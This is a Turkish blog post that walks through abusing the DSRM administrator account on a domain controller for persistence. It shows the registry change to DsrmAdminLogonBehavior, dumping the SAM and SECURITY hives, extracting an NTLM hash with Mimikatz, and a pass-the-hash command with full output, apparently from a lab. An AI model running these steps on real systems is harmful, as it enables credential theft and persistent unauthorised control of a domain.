İçeriğe geç

DSRM’i Kötüye Kullanma

Saldırganın DSRM'i nasıl kötüye kullanabileceğini bu yazı içerisinde özetlenmiş bir şekilde anlatacağım. Daha öncesinde bundan bahsetmiştim.

Bir domain oluştururken. Aslında domain'de olmayan bir kullanıcı ile o bilgisayarda oturum açmış olmamız gerekiyor. Tuhaf bir cümle oldu! Ancak ilk olarak bir local admin ile bilgisayarı açalım ki sonrasında domainn kurabilelim. Peki bu local admin hesaba sonrasında ne oluyor?

DC üzerinde bir local admin! Aslında kulağa son derece tehlikeli geliyor. Normal şartlar altında bu hesabın PSSession yetkisi yoktur yani domain içerisinde bir başka bir makinede oturum açamazsınız. Ancak kayıt defterinde bazı düzenlemeler yaparak bu işlemi yapmak mümkün hale gelecektir.

Bu yöntem kalıcılık sağlamak için yapılmış bir yöntemdir, bunu unutmayın. Bundan dolayı bazı ayrıcalıklara zaten öncesinde sahibiz.

[dcorp-dc]: PS C:\Users\Administrator\Documents> Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\"

auditbasedirectories      : 0
auditbaseobjects          : 0
Bounds                    : {0, 48, 0, 0...}
crashonauditfail          : 0
fullprivilegeauditing     : {0}
LimitBlankPasswordUse     : 1
NoLmHash                  : 1
Security Packages         : {pku2u, wdigest, kerberos, msv1_0...}
Notification Packages     : {rassfm, scecli}
Authentication Packages   : {msv1_0}
LsaPid                    : 620
SecureBoot                : 1
ProductType               : 7
disabledomaincreds        : 0
everyoneincludesanonymous : 0
forceguest                : 0
restrictanonymous         : 0
restrictanonymoussam      : 1
PSPath                    : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
                            \
PSParentPath              : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control
PSChildName               : Lsa
PSDrive                   : HKLM
PSProvider                : Microsoft.PowerShell.Core\Registry

DC üzerinde kod çalıştırabildiğimiz bir senaryoda öncesinde bir kontrol işlemi yapmışız. DsrmAdminLogonBehavior özelliğini göremiyoruz. Hadi bunu ekleyelim.

[dcorp-dc]: PS C:\Users\Administrator\Documents> New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

İşte bu kadar kolay!

Şimdi bir client makine üzerinden pash the hash yapabilecek durumdayız.

Bunun için DC üzerinde mimikatz ile ilk olarak dump'ları alalım.

[dcorp-dc]: PS C:\Users\Administrator\Documents> reg save hklm\sam filename1.hiv
The operation completed successfully.

[dcorp-dc]: PS C:\Users\Administrator\Documents> reg save hklm\security filename2.hiv
The operation completed successfully.
[dcorp-dc]: PS C:\Users\Administrator\Documents> Invoke-Mimikatz -Command '"lsadump::sam filename1.hiv filename2.hiv"'

  .#####.   mimikatz 2.1.1 (x64) built on Nov 29 2018 12:37:56
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo) ** Kitten Edition **
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # lsadump::sam filename1.hiv filename2.hiv
Domain : DCORP-DC
SysKey : 85462b93fc25ee67bb07ad899096199b
Local SID : S-1-5-21-1752050383-1088309824-3131404450

SAMKey : 33e0913ef3886d77d5873060bcea1cfb

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: a102ad5753f4c441e3af31c97fad86fd

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount 

Harika! Şimdi pass the hash!

PS C:\AD> Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:dcorp-dc /ntlm:a102ad5753f4c441e3af31c97fad86fd /run:powershell.exe"'

  .#####.   mimikatz 2.1.1 (x64) built on Nov 29 2018 12:37:56
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo) ** Kitten Edition **
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # sekurlsa::pth /user:Administrator /domain:dcorp-dc /ntlm:a102ad5753f4c441e3af31c97fad86fd /run:po
wershell.exe
user    : Administrator
domain  : dcorp-dc
program : powershell.exe
impers. : no
NTLM    : a102ad5753f4c441e3af31c97fad86fd
  |  PID  3156
  |  TID  2240
  |  LSA Process is now R/W
  |  LUID 0 ; 50367085 (00000000:03008a6d)
  \_ msv1_0   - data copy @ 0000024545405910 : OK !
  \_ kerberos - data copy @ 000002454588AB78
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 0000024545872228 (32) -> null

PS C:\AD>
Kategori:Active DirectoryPowerShell

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir